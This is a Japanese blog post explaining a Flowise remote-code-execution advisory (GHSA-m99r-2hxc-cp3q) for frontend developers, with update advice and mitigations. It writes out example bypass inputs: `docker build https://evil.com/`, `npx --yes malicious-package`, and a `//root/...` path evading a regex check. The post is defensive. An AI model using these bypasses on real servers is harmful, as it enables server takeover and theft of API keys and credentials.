Modern Frontend CVEs

対象CVE: GHSA-m99r-2hxc-cp3q

[緊急警告] Flowise MCP機能におけるRCE脆弱性 (GHSA-m99r-2hxc-cp3q) - フロントエンド開発者も要警戒!

ノーコードAIツールFlowiseのMCP (Managed Command Processor) 機能に深刻なリモートコード実行 (RCE) 脆弱性が発見されました。これを悪用されると、サーバー上で任意のコマンドが実行され、システムが完全に制御される可能性があります。フロントエンドエンジニアも影響範囲を理解し、迅速な対応が求められます。

はじめに:ノーコードAIツール Flowise とそのセキュリティリスク

近年、AIチャットフローをGUIで簡単に構築できるノーコードAIツール「Flowise」が注目を集めています。直感的なインターフェースでバックエンドのロジックまで設定できるため、開発のスピードアップに大きく貢献します。しかし、その手軽さゆえに、内部でサーバーサイドの処理やコマンド実行が行われる場合があり、この部分にセキュリティリスクが潜むことがあります。フロントエンドエンジニアの皆さんも、Flowiseが利用されるプロジェクトに関わる可能性があるため、今回の脆弱性は決して無関係ではありません。

GHSA-m99r-2hxc-cp3qとは? Flowise MCP機能における深刻なRCE脆弱性

今回発見されたGHSA-m99r-2hxc-cp3qは、FlowiseのMCP (Managed Command Processor) 機能に関連する複数の脆弱性の複合体であり、結果としてリモートコード実行 (RCE: Remote Code Execution) が可能になる極めて深刻な問題です。深刻度は「High」と評価されており、攻撃者がFlowiseが稼働しているサーバーを完全に制御する可能性があることを意味します。この脆弱性を悪用されると、Flowiseサーバーのデータ窃取、改ざん、システム破壊、あるいは他のシステムへの侵入の足がかりにされるなど、甚大な被害が発生する恐れがあります。

なぜフロントエンドエンジニアもこの脆弱性を知るべきか?

「私はフロントエンドだからバックエンドのセキュリティは関係ない」と考えてはいけません。Flowiseのようなツールは、API連携を通じてフロントエンドアプリケーションと密接に連携することが多く、またCI/CDパイプラインや開発環境に組み込まれる可能性もあります。攻撃者がFlowiseの脆弱性を突き、サーバーを乗っ取った場合、Flowiseが管理しているAPIキーや認証情報が窃取され、その情報を使ってフロントエンドが利用するバックエンドシステムや、さらに広範な開発環境にまで影響が及ぶ可能性があります。サプライチェーン攻撃の一環として、皆さんのアプリケーションの安全性が脅かされるリスクも考慮する必要があります。

脆弱性の詳細:3つの攻撃経路

今回のRCEは、単一の脆弱性ではなく、ブロックリストの回避や正規表現の不備といった複数の経路を組み合わせることで成立します。それぞれの経路について詳しく見ていきましょう。

Flowiseでは、悪意のある`docker`コマンドの実行を防ぐために、`run`や`exec`といった危険なサブコマンドをブロックリストで禁止していました。しかし、**`build`サブコマンドがこのブロックリストから漏れていました**。攻撃者はこの不備を突き、`docker build https://evil.com/`のようなコマンドをMCPの設定で実行させることが可能です。`docker build`は、指定されたURLから悪意のある`Dockerfile`をダウンロードし、その中に仕込まれた`RUN`命令を実行する特性があります。これにより、Dockerコンテナから脱出し、Flowiseが稼働しているホストマシン全体を完全に制御されてしまう可能性があります。これはDockerの正規の機能を利用した巧妙な攻撃経路です。

**影響を受ける条件**: Flowiseアカウント(どの役割でも可)またはチャットフローの閲覧・更新権限を持つAPIキーがあり、かつデプロイ環境で`docker`コマンドが利用できる場合に影響を受けます。

`npx`コマンドについても、危険なオプションを防ぐためのブロックリストが設定されていました。しかし、`-y`(短縮形)はブロックされていたものの、同義の**`--yes`(長尺形)オプションがブロックリストから漏れていました**。攻撃者はMCPの設定で`npx --yes malicious-package`のようなコマンドを指定することで、npmパッケージのインストール確認を自動的に承諾させ、悪意のあるnpmパッケージをFlowiseサーバー上でインストール・実行させることができ、RCEにつながります。例えば、パッケージの`postinstall`スクリプトに悪意のあるコードが仕込まれていれば、インストール時に実行されてしまいます。

**影響を受ける条件**: Flowiseアカウント(どの役割でも可)またはチャットフローの閲覧・更新権限を持つAPIキーがあり、かつデプロイ環境で`npx`コマンドが利用できる場合に影響を受けます。

`node`コマンドでローカルファイルを指定する際のパス検証を行う`validateArgsForLocalFileAccess`関数に不備がありました。この関数は絶対パスや相対パスによる危険なファイルアクセスをブロックする目的で正規表現を使用していますが、Unix絶対パスを検出する正規表現(`^/[^/]`)が、**スラッシュが二重に続く`//`で始まるパスを検出できませんでした**。攻撃者はこの正規表現の欠陥を利用し、`//root/.flowise/storage/.../cmd.js`のようなパスを使って、Flowiseサーバー上にアップロードされた悪意のあるJavaScriptファイルなどを`node`コマンドで直接実行させることができ、RCEにつながります。認証されたFlowiseユーザーであれば誰でも悪用可能なため、非常に危険です。

**影響を受ける条件**: Flowiseアカウントがあれば、誰でもこの脆弱性を利用可能です。

もし攻撃されたら? 深刻な影響シナリオ

これらの脆弱性が悪用された場合、Flowiseが稼働しているサーバーは攻撃者に完全に制御されてしまいます。考えられる被害は以下の通りです。

<ul><li>**データ窃取・改ざん**: データベース内の機密情報、APIキー、ユーザーデータ、設定ファイルなどが窃取されたり、改ざんされる可能性があります。</li><li>**システム破壊**: サーバー上の重要なファイルが削除されたり、システム設定が変更され、サービスが停止する可能性があります。</li><li>**足がかりとしての利用**: Flowiseサーバーを踏み台として、社内ネットワーク内の他のシステムやサービスへの侵入を試みられる可能性があります。これはサプライチェーン攻撃に発展するリスクもはらみます。</li><li>**リソースの悪用**: サーバーリソースを勝手に利用され、仮想通貨マイニングやスパムメール送信の拠点にされる可能性もあります。</li></ul>

いますぐ取るべき対策:迅速なアップデートを最優先に

最も効果的かつ推奨される対策は、**これらの脆弱性が修正された最新バージョンのFlowiseに速やかにアップデートすること**です。公式サイトやGitHubのリリースページを確認し、提供されている最新バージョンへ移行してください。アップデートにより、上記で説明したブロックリストの不備や正規表現の欠陥が修正され、安全性が確保されます。

**緊急対応が難しい場合の緩和策**:

<ul><li>**権限の最小化 (Least Privilege)**: Flowiseを稼働させるOSユーザーの権限を、必要最低限に厳しく制限してください。これにより、RCEが発生しても被害範囲を限定できる可能性があります。</li><li>**コマンドの利用制限**: `docker`や`npx`、`node`といったコマンドの利用を、Flowiseが実行可能な環境変数やシステム設定レベルで極力制限することを検討してください。</li><li>**ネットワーク分離**: Flowiseサーバーを外部ネットワークから直接アクセスできないようにネットワークを分離し、必要な通信のみを許可するファイアウォール設定を徹底してください。</li><li>**入力のサニタイズ・検証**: MCP機能で利用されるユーザー入力を、サーバーサイドで厳しくサニタイズし、想定外のコマンドやパスが渡されないように検証を強化してください。ただし、これはパッチ適用までのあくまで一時的な緩和策としてください。</li></ul>

まとめ:継続的なセキュリティ意識が重要

FlowiseのRCE脆弱性は、ノーコード/ローコードツールを利用する際にも、その内部的な挙動や実行環境に潜むセキュリティリスクを常に意識することの重要性を改めて示しています。フロントエンドエンジニアの皆さんも、自身が関わるプロジェクトで利用しているツールスタックやCI/CD環境における潜在的なリスクについて、継続的に情報を収集し、適切な対策を講じる責任があります。安全な開発環境を維持するために、最新のセキュリティ情報を追跡し、迅速な対応を心がけましょう。

← ブログ一覧に戻る